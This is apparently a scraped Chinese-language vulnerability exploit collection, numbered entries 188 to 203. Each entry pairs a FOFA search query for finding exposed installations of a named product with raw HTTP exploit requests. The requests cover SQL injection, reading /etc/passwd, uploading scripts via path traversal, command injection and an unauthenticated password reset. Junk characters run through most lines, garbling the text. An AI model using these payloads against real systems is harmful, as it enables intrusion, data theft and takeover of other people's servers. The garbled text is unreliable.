- b  B$ _& |- R* @) ~object=displayregion&contenthistid=x%5c' AND (SELECT 3504 FROM (SELECT(SLEEP(5)))MQYa)-- Arrv&previewid=1
  j. t9 ?" l) M: _% f% |7 n
, o# A+ E. p& l0 O
! u* ~* l2 A9 c188. 叁体-佳会视频会议 attachment 任意文件读取
version <= 3.9.7
- ]2 I( ?, l* F! `2 x8 fFOFA：body="/system/get_rtc_user_defined_info?site_id"
6 \" G% g; {" |$ [! f/ MGET /attachment?file=/etc/passwd HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
/ d* c8 S( z4 y! }Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
8 L- A3 t/ A. g% o; lAccept-Encoding: gzip, deflate
1 \  @4 o. `  [/ \$ h! N! |Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
3 _  v# a) f0 M8 q4 p+ X7 y. x
7 v5 O: y! Q3 Q2 _4 T& A' I. N
189. 蓝网科技临床浏览系统 deleteStudy SQL注入
FOFA：app="LANWON-临床浏览系统"
& k+ @2 P  s, r, @GET /xds/deleteStudy.php?documentUniqueId=1%27;WAITFOR%20DELAY%20%270:0:5%27-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
' m& ^* F" E) d4 p5 w, Q# F0 pAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
' d3 h& U8 F/ s* f4 q% G+ ^7 qAccept-Encoding: gzip, deflate
- F; Z0 K# Q- C1 O5 ^Accept-Language: zh-CN,zh;q=0.9
Connection: close


190. 短视频矩阵营销系统 poihuoqu 任意文件读取
: _" L5 z# j: EFOFA：title=="短视频矩阵营销系统"
3 r" f& o: T/ i# T: uPOST /index.php/admin/Userinfo/poihuoqu HTTP/2
' x9 }8 B! U' s6 qHost: your-ip
9 a! @8 t% V& Y" S7 X$ p2 d7 a& kUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
( ?" ?3 [2 _9 P  x% E+ L4 ~/ BContent-Type: application/x-www-form-urlencoded
! ^8 g  j8 `$ u2 tAccept-Encoding: gzip, deflate
7 |- ]  u* s% _  n3 d5 C, v- r5 ]Accept-Language: zh-CN,zh;q=0.9

poi=file:///etc/passwd

' I: B% \  N/ |( |; g/ ?0 w
6 ?  `' i3 b" D' a  j191. 亿赛通电子文档安全管理系统 NavigationAjax SQL注入
FOFA：body="/CDGServer3/index.jsp"
POST /CDGServer3/js/../NavigationAjax HTTP/1.1
Host: your-ip
3 Y- c; P3 @3 Y2 k2 M* dUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded

command=nav&id=1'waitfor delay '0:0:5'--+&name=&openId=
' {1 `: A! x" [$ ]7 u& z

192. 富通天下外贸ERP UploadEmailAttr 任意文件上传
FOFA：title="用户登录_富通天下外贸ERP"
" t8 i' v6 u) h4 M9 ?3 D* APOST /JoinfApp/EMail/UploadEmailAttr?name=.ashx HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
; H8 `4 {, ]0 w5 {/ \0 QContent-Type: application/x-www-form-urlencoded
7 G% p% |# w+ y7 \
1 R  j0 |+ D( V" v# |. ]. a: m
<% @ webhandler language="C#" class="AverageHandler" %>
5 T- O: _" n) i  [using System;
using System.Web;
public class AverageHandler : IHttpHandler
{
% w. r2 |3 y& V2 e9 x, ?) g+ J' _public bool IsReusable
{ get { return true; } }
public void ProcessRequest(HttpContext ctx)
& ?7 y+ ^. _2 l1 J* V$ d{
ctx.Response.Write("test");
' K9 @- H$ M8 d  D9 {6 T# `" u}
. F8 j& H$ X( f# A8 B5 `}


, [! K) s3 I6 j193. 山石网科云鉴安全管理系统 setsystemtimeaction 命令执行
3 Y3 N- X" r2 ~2 ~- \6 vFOFA：body="山石云鉴主机安全管理系统"
GET /master/ajaxActions/getTokenAction.php HTTP/1.1
- D1 M# B3 z+ n& L, g2 b$ Q2 ZHost:
Cookie: PHPSESSID=2333333333333;
/ E3 l) C1 Z1 C& A4 a" x- q5 M5 n) VContent-Type: application/x-www-form-urlencoded
4 h9 ]  A% E3 ~: O  m- CUser-Agent: Mozilla/5.0
3 R+ P- P/ U& ]0 j' J9 B

POST /master/ajaxActions/setSystemTimeAction.php?token_csrf={{token}} HTTP/1.1
Host:
User-Agent: Mozilla/5.0
Accept-Encoding: gzip, deflate
Accept: */*
: R& V/ d" g/ o9 |; G6 ^6 \( ~9 PConnection: close
+ e( s: [9 _' o5 b6 Z  Q7 ]0 YCookie: PHPSESSID=2333333333333;
Content-Type: application/x-www-form-urlencoded
. Z! x1 i( j: j) w8 L6 k! O9 A8 BContent-Length: 84

param=os.system('echo 23333333333456 > /opt/var/majorsec/installation/master/runtime/img/config')
' d. f$ a% x  }3 `: _

9 S, d- b  D+ D& yGET /master/img/config HTTP/1.1
Host:
; u. ^; M. E3 v5 {7 qUser-Agent: Mozilla/5.0
( E' g, }9 n5 p; g, {4 U# C, c6 z- q1 _
4 ^9 I# w3 c3 C! k9 |6 |5 V
4 u1 C/ _( c( W2 Q3 C194. 飞企互联-FE企业运营管理平台 uploadAttachmentServlet 任意文件上传
# _: f% W$ R# ^4 NFOFA：app="FE-协作平台"访问 /servlet/uploadAttachmentServlet 有返回则漏洞存在

POST /servlet/uploadAttachmentServlet HTTP/1.1
/ F7 u; Y" t* C! q8 Z$ [Host: host
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
, n; H6 w, s0 T+ T, rAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
; M! f8 \4 I  N3 T. R  o9 |' C& mConnection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryKNt0t4vBe8cX9rZk
/ Q8 n$ q$ b; \( l/ x1 s1 n8 [------WebKitFormBoundaryKNt0t4vBe8cX9rZk

Content-Disposition: form-data; name="uploadFile"; filename="../../../../../jboss/web/fe.war/hello.jsp"
5 A0 e2 Y: K2 O9 n- q  v  YContent-Type: text/plain
7 C( J: x, l# h7 q9 v* l1 v<% out.println("hello");%>
------WebKitFormBoundaryKNt0t4vBe8cX9rZk
/ J" ?9 U5 p1 x, h/ J0 j8 _Content-Disposition: form-data; name="json"
& e7 I* C$ n$ @7 @' l {"iq":{"query":{"UpdateType":"mail"}}}
------WebKitFormBoundaryKNt0t4vBe8cX9rZk--


  q7 a4 K; I$ A' {195. 飞鱼星上网行为管理系统 send_order.cgi命令执行
FOFA：title=="飞鱼星企业级智能上网行为管理系统
8 B' N2 m. M$ {9 P: K& m/ t9 N% UPOST /send_order.cgi?parameter=operation HTTP/1.1
1 n8 n0 g, [3 U8 U9 EHost: 127.0.0.1
Pragma: no-cache
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Accept: */*
  _# E+ p' i! [2 XAccept-Encoding: gzip, deflate
! Q( R# u5 v) a0 c1 T; e; G$ [Accept-Language: zh-CN,zh;q=0.9
Connection: close
0 u& V  m" Q; b+ c+ D9 ?8 \Content-Type: application/x-www-form-urlencoded
- G( O$ a) i0 Z. X5 XContent-Length: 68

{"opid":"777777777777777777","name":";uname -a;echo ","type":"rest"}

* Z) k7 d  M' W% @
% [) g6 Z% X/ {- q; [" M196. 河南省风速科技统一认证平台密码重置
FOFA：body="/cas/themes/zbvc/js/jquery.min.js"
  ?0 C* m; T% j$ e4 A- M* |POST /cas/userCtl/resetPasswordBySuper HTTP/1.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Content-Type: application/json;charset=UTF-8
% f. q; A# }  M4 SX-Requested-With: XMLHttpRequest
& E  E- x4 k& ~- ]Host:
1 f  U5 `1 e0 T5 W) _. d$ iAccept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
& T+ X8 t0 ?' XContent-Length: 45
1 F0 ?! `# \5 r- c$ k. U+ \Connection: close

{"xgh":"test","newPass":"test666","email":""}
. {8 J1 m4 j3 V2 Z- L6 s: W  A
/ i1 W. \5 N' e+ \- N9 d: z
* x5 ~/ ~: _8 o1 z
' M' J  p2 y. D' o0 X$ x6 u+ r$ X197. 浙大恩特客户资源管理系统-Quotegask_editAction存在SQL注入
" p$ z- S% g& Y& {  f) H7 MFOFA：app="浙大恩特客户资源管理系统"
1 H& p; f- T- d7 Y0 ~# F/ nGET /entsoft/Quotegask_editAction.entweb;.js?goonumStr=1')+UNION+ALL+SELECT+111*111--+&method=goonumIsExist HTTP/1.1
* v4 x' e$ d  d2 n* C% bHost:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2656.18 Safari/537.36
Accept-Encoding: gzip, deflate
& r, {6 e: W/ {- ?) eConnection: close
; M( V, y: W8 q1 B, t


198.  阿里云盘 WebDAV 命令注入
CVE-2024-29640
GET /cgi-bin/luci/admin/services/aliyundrive-webdav/query?sid=%60%6c%73%20%2f%3e%2f%77%77%77%2f%61%61%61%2e%74%78%74%60%20 HTTP/1.1
$ q. z! E+ z% pCookie: sysauth=41273cb2cffef0bb5d0653592624cf64
5 {6 J' f( W! v) ?+ z( TAccept: */*
Accept-Encoding: gzip, deflate
! q. M& N/ Z9 v5 C  m( {9 _Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
/ e# M8 q5 b. O5 m/ _) q) `8 FConnection: close
4 Q! b8 j( b* M
6 M: O9 v+ _: N
# y/ k& V0 B% z7 [199. cockpit系统assetsmanager_upload接口 文件上传

% ]8 p7 V9 j  ^. R1.执行poc进行csrf信息获取，并获取cookie，再上传访问得到结果：
. A2 c! `( e! pGET /auth/login?to=/ HTTP/1.1
) a6 ~2 X' c8 P) H; w6 x. B1 v
0 e$ H  S; X8 `响应：200，返回值:csfr:"eyJ0eXAi0iJKV1QiLCJhbGci0iJIUsI1NiJ9.eyJjc2ZyIjoibG9naW4ifQ.6KvuRJo3-Dp2UouwGH9D8cmnXEL4NGNen9CX3ex86cw"
8 h, u3 J! J( \: R
2.使用刚才上一步获取到的jwt获取cookie：

POST /auth/check HTTP/1.1
2 }' Q  k  u! |# r$ W: m8 c- a1 [Content-Type: application/json

{"auth":{"user":"admin","password":"admin"},"csfr":"eyJ0eXAi0iJKV1QiLCJhbGci0iJIUsI1NiJ9.eyJjc2ZyIjoibG9naW4ifQ.6KvuRJo3-Dp2UouwGH9D8cmnXEL4NGNen9CX3ex86cw"}

响应：200，返回值:
Set-Cookie:mysession=95524f01e238bf51bb60d77ede3bea92: path=/
Fofa：title="Authenticate Please!"
) V* a, t9 n3 K: C8 uPOST /assetsmanager/upload HTTP/1.1
Content-Type: multipart/form-data; boundary=---------------------------36D28FBc36bd6feE7Fb3
Cookie: mysession=95524f01e238bf51bb60d77ede3bea92

- ~; ?# f( h3 p- X-----------------------------36D28FBc36bd6feE7Fb3
Content-Disposition: form-data; name="files[]"; filename="tttt.php"
  V8 N8 ]6 t, N9 B! |2 OContent-Type: text/php
# V  n* b& X; m
<?php echo "tttt";unlink(__FILE__);?>
+ J, N! L$ B" e) s2 C1 n-----------------------------36D28FBc36bd6feE7Fb3
Content-Disposition: form-data; name="folder"
" w( y4 P. \3 O, L$ h) m& R0 a
-----------------------------36D28FBc36bd6feE7Fb3--
- v" o. _6 s  a2 T) a
5 w/ c" u. v2 e, A7 X. j; u
" E4 i5 b4 O: S# J/storage/uploads/tttt.php

. n& i) e5 c. a& b' u) z200. SeaCMS海洋影视管理系统dmku SQL注入
) _/ ~) ^8 i  _7 M' b* VFOFA：app="海洋CMS"
GET /js/player/dmplayer/dmku/?ac=del&id=(select(0)from(select(sleep(5)))v)&type=list HTTP/1.1
. k  [# m# H+ |1 s1 c3 f0 ?" xCookie: PHPSESSID=hlfl5flck9q3ng1blehhv86s4s
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9


201. 方正全媒体新闻采编系统 binary SQL注入
FOFA：body="/newsedit/newsedit/" || app="FOUNDER-全媒体采编系统"
0 O- V! V5 u+ ?/ ], c8 EPOST /newsedit/newsplan/task/binary.do HTTP/1.1
; m6 F# V( M$ z9 c  fContent-Type: application/x-www-form-urlencoded
: s- r1 r6 c# R$ q) J7 v0 BAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
+ B* g0 u2 d- [3 s& v+ MAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
  C  n: y# q' L& x; }+ {; N# g- TConnection: close

TableName=DOM_IMAGE+where+REFID%3D-1+union+select+%271%27%3B+WAITFOR+DELAY+%270%3A0%3A5%27%3Bselect+DOM_IMAGE+from+IMG_LARGE_PATH&FieldName=IMG_LARGE_PATH&KeyName=REFID&KeyID=1
) M8 ]( c' n) L( y, D

202. 微擎系统 AccountEdit任意文件上传
FOFA：body="/Widgets/WidgetCollection/"
获取__VIEWSTATE和__EVENTVALIDATION值
- R( Z2 @1 [1 Y- Y( ?0 uGET /User/AccountEdit.aspx HTTP/1.1
Host: 滑板人之家
. ^7 X6 u8 O* r0 vUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/531.36 (KHTML, like Gecko) Chrome/83.0.4103.112 Safari/537.31
Content-Length: 0

, i; X# q& s( Y  b8 w+ Q6 Q/ D
' a3 {6 |5 E2 B) t6 J替换__VIEWSTATE和__EVENTVALIDATION值
( j6 s. c' g9 [$ E: tPOST /User/AccountEdit.aspx HTTP/1.1
Accept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data;boundary=---------------------------786435874t38587593865736587346567358735687

-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="__VIEWSTATE"

1 z; ~# k2 `5 X  o! e. i__VIEWSTATE
-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="__EVENTVALIDATION"
3 M+ v) o4 j3 `/ S0 A; P2 {
__EVENTVALIDATION
-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$upload"; filename="1123.txt"
3 S7 x$ k4 D6 }$ ~Content-Type: text/plain
5 r) [. f) t5 p, H6 W% S# h* B
Hello World!
-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$bttnUpload"
; E' r2 f: I; z9 V
5 z  s9 Y6 |# b) z2 @上传图片
-----------------------------786435874t38587593865736587346567358735687
" W+ d7 i8 Z0 a8 f  {  v% [Content-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$txtLastName"
- M8 b# Q. L) t1 t" u, B/ R

-----------------------------786435874t38587593865736587346567358735687
' E5 v9 g  V! aContent-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$txtEmail"
  ]) B+ S8 \+ Z9 t1 x
, B! z+ x! u+ r6 o  ~/ O9 t
" `+ r+ ?9 L. P2 Q-----------------------------786435874t38587593865736587346567358735687--
  U. j7 `- a4 \' h

/_data/Uploads/1123.txt

+ Y9 y; M( V% q6 l/ H5 W203. 红海云EHR PtFjk 文件上传
FOFA：body="RedseaPlatform"
" w& d5 y* e  R5 J6 _4 wPOST /RedseaPlatform/PtFjk.mob?method=upload HTTP/1.1
) ~" ?4 O5 z: w3 T: yHost: x.x.x.x
8 R/ R/ m# }% f  \, q( `3 H" CAccept-Encoding: gzip
: b- [# a- d- B& d. CUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
! K1 {2 s' ~* W! ?0 qContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryt7WbDl1tXogoZys4
' i: _- _; D5 [! LContent-Length: 210
8 N1 s2 V9 a* \
------WebKitFormBoundaryt7WbDl1tXogoZys4
Content-Disposition: form-data; name="fj_file"; filename="11.jsp"
% w. _2 k- }& K% P3 }5 z2 D7 \Content-Type:image/jpeg
" z0 u) b0 I5 q5 Z: d" g
<% out.print("hello,eHR");%>
; k( h' |7 B1 D" `1 Z------WebKitFormBoundaryt7WbDl1tXogoZys4--
% ]2 ~) r" s: U  _; P/ o7 H
  c3 [0 `$ |4 R1 j$ V! t
+ u2 [' x/ W- R8 g/ E, o1 g7 w! P
! ?& o0 P) d4 Y7 V

, {& L, Y2 b1 _% P5 n& Q& }
. [8 a. K$ q7 c( _: _0 V! q